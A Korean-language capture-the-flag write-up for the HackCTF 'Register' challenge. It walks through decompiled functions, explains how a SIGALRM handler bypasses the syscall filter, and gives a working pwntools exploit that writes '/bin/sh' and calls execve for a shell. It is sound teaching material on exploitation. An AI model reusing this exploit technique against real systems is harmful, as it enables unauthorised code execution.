[HackCTF]Register

메인에서는 alarm함수로 5초후 시그널 보낸다.

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  alarm(5u);
  setvbuf(stdout, 0LL, 2, 0LL);
  build();
}

메인에서 실행되는 build함수는 siglarm가 발생하면 handler로 처리해준다.

void __noreturn build()
{
  __int64 v0; // [rsp+0h] [rbp-40h]
  __int64 v1; // [rsp+8h] [rbp-38h]
  __int64 v2; // [rsp+10h] [rbp-30h]
  __int64 v3; // [rsp+18h] [rbp-28h]
  __int64 v4; // [rsp+20h] [rbp-20h]
  __int64 v5; // [rsp+28h] [rbp-18h]
  __int64 v6; // [rsp+30h] [rbp-10h]
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  signal(14, handler);
  while ( 1 )
  {
    do
    {
      get_obj(&v0);
      obj = v0;
      qword_6010A8 = v1;
      qword_6010B0 = v2;
      qword_6010B8 = v3;
      qword_6010C0 = v4;
      qword_6010C8 = v5;
      qword_6010D0 = v6;
    }
    while ( validate_syscall_obj(v0) );
    raise(14);
  }
}

handler 내부를 보면 exec_syscall_obj 를 실행시켜주는데 우리가 입력한 값들이 각각 레지스터에 맞게 들어가 syscall을 호출해준다.

__int64 __fastcall exec_syscall_obj(_QWORD *a1)
{
  _QWORD *v1; // rbx
  __int64 result; // rax
  __int64 v3; // rdi
  __int64 v4; // rsi
  __int64 v5; // rdx
  __int64 v6; // rcx
  __int64 v7; // r8
  __int64 v8; // r9

  v1 = a1;
  result = *a1;
  v3 = a1[1];
  v4 = v1[2];
  v5 = v1[3];
  v6 = v1[4];
  v7 = v1[5];
  v8 = v1[6];
  __asm { syscall; LINUX - }
  return result;
}

validate_syscall_obj 함수에서는 rax 레지스터 check를 해준다.

__int64 __fastcall validate_syscall_obj(signed __int64 a1)
{
  unsigned int v2; // [rsp+14h] [rbp-4h]

  if ( a1 == 2 )
  {
    v2 = 0;
  }
  else if ( a1 > 2 )
  {
    if ( a1 == 3 )
    {
      v2 = 0;
    }
    else
    {
      if ( a1 != 60 )
        return 1;
      v2 = 0;
    }
  }
  else if ( a1 )
  {
    if ( a1 != 1 )
      return 1;
    v2 = 0;
  }
  else
  {
    v2 = 0;
  }
  return v2;
}

bss영역은 레지스터들이 사용되는 공간이라 data영역을 사용했다.

syscall 59는 필터링되어있어서 sleep() 줘서 sigalrm 떠서 handler 실행시키게 했다.

read(0,data,10) -> execve(‘/bin/sh\x00’,0,0)

exploit.py

from pwn import *

# context.log_level = 'debug'
e = ELF('./register')
# p = process('./register')
p = remote('ctf.j0n9hyun.xyz',3026)
data = 0x0000000000601068

def chain(rax,rdi,rsi,rdx,rcx,r8,r9):
	p.sendlineafter(':',str(rax))
	p.sendlineafter(':',str(rdi))
	p.sendlineafter(':',str(rsi))
	p.sendlineafter(':',str(rdx))
	p.sendlineafter(':',str(rcx))
	p.sendlineafter(':',str(r8))
	p.sendlineafter(':',str(r9))

chain(0,0,data,10,0,0,0)
p.send('/bin/sh\x00')
chain(59,data,0,0,0,0,0)
sleep(5)
p.interactive()